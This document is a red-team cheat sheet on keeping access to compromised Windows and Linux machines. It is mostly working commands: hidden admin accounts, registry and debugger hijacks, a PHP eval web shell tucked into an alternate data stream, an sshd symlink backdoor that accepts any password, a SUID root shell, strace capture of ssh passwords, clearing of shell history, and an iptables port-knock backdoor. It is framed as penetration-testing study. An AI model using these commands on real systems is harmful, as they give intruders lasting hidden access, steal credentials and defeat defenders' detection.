About Pentest Persistence

Persistence is to maintain your privilege after breaking into a system.

Windows

You can learn persistence methodologies/category of persistence (and other red teaming skills) with penetration testing lab.

Addition:

1. Schedule task:

• GUI tool: taskschd.msc
• CMD tool: schtasks.exe
• Schtasks-Backdoor

2. Shadow account: having admin privs but not showing

• net user admin$ Test1 /add
• net localgroup administrators admin$ /add
• backup HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
• net user admin$ /del
• only recovery registry k-v pairs

3. Edit registry to change startups.

   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

4. Image File Execution Options

• findHKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options
• add debugger to it like:
• reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"
• open notpad.exe, you get calc.exe started
• to keep it silent, need HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/SilentProcessExit
• configure (need admin privs)

  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
  reg add "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\taskmgr.exe"

5. Shift backdoor
6. …

Hide tech

1. Hide file

• Use attrib +s +a +h +r D:\test\project\test.txt to add system, archived, hidden, read-only attributes.
• Use ADS(alternate data stream): echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg, notepad index.php:hidden.jpg to check content.
• Driver-class hidden: Easy File Locker

  # if cannot find file but in system dir exists:
  c:\WINDOWS\xlkfs.dat
  c:\WINDOWS\xlkfs.dll
  c:\WINDOWS\xlkfs.ini
  c:\WINDOWS\system32\drivers\xlkfs.sys
  # to clean it 
  > sc qc xlkfs
  > net stop xlkfs
  > sc delete xlkfs
  # then delete those files in system dir and restart

• There’re many other ways but fileless attack becomes popular

2. Hide account

• Creating shadow account

3. Port reuse

• victim: winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
• attacker: winrs -r:http://x.x.x.x -u:administrator -p:passwd whoami
• will leave footprint in log

4. Hide service

• using SDDL(Security Descriptor Definition Language, able to change object DACL): sc.exe sdset test "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
• delete SDDL statement to recover: & $env:SystemRoot\System32\sc.exe sdset auto_calc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

5. …

Linux

Backdoors

1. Timed task:

• for one time: at
• run periodically: crontab(crond process)
• anacron

2. sshd soft link

• victim: ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
• attacker: ssh root@x.x.x.x -p 5555 with any password

3. SUID shell

• as root: cp /bin/bash /dev/.rootshell
• and run: chmod u+s /dev/.rootshell
• normal user can execute /dev/.rootshell

4. alias to start backdoor

• alias cat='cat&&/root/.shell'
• similar to sshd soft link

5. pam backdoor

• patch pam_unix_auth.c to capture password

6. PROMPT_COMMAND backdoor

• PROMPT_COMMAND will execute before you run commands
• export PROMPT_COMMAND="your_cmd"

7. ssh log-without-pass

• write id_rsa.pub to ~/.ssh/authorized_keys

8. ssh wrapper
9. ssh keylogger
10. strace to listen ssh source traffic

• (strace -f -F -p ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'} -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
• grep -E ‘read(6, “.+\0\0\0\.+”‘ /tmp/.sshd.log

11. And the rootkit
12. …

Hide yourself

1. Hide files into hidden directories like /tmp/.xxx/, or name it with prefix ..
2. Hide privs, using lsattr and chattr
3. Close history log: [space]set +o history
   • restart by [Space]set -o history
   • history -c to clean current terminal history
   • history|grep "xxx" && history -d [num] to clean specified one
4. Port reuse

• iptables

  # the chain
  iptables -t nat -N LETMEIN
  # the rule
  iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
  # start-switch
  iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
  # stop-switch
  iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
  # let's do it
  iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
  
  # start 
  echo threathuntercoming | socat - tcp:192.168.28.128:80
  # ssh port 80 to login 
  ssh -p 80 root@192.168.28.128
  # stop 
  echo threathunterleaving | socat - tcp:192.168.28.128:80

• SSLH

5. Hide process: libprocesshider

• and unhide process unhide
• or process inject using linux-inject

6. …

Addition:
To steal credentials on Linux:
Use grep -rn "password=" / to search all disk.
Use swap_digger to analyze swap automatically, and Impost3r to steal linux password (ssh, su, sudo).

Here recommends a linux post-exploitation framework emp3r0r

Using Pentest Framework

1. Metasploit Framework (run * to run all modules in meterpreter)

• persistence module
• metsvc module
• scheduleme & schtasksabuse module
• mof_ps_persist module
• Autorunscript (not a module in meterpreter) and other advanced options of exploit module.

2. Empire

• It provides 18 methods (4 categories, usemodule persistence/ to see)

elevated	misc	powerbreach	userland
registry*	add_netuser	deaduser	backdoor_lnk
schtasks*	add_sid_history*	eventlog*	registry
wmi*	debugger*	resolver	schtasks
wmi_updater*	disable_machine_acct_change*
	get_ssps
	install_ssp*
	memssp*
	skeleton_key*

3. Cobalt Strike

• produce powershell backdoor: Attacks -> Web Drive-by -> Scripted Web Delivery
• add startups into service or registry using given shell

4. other frameworks …

Other resources

• Awesome Malware Persistence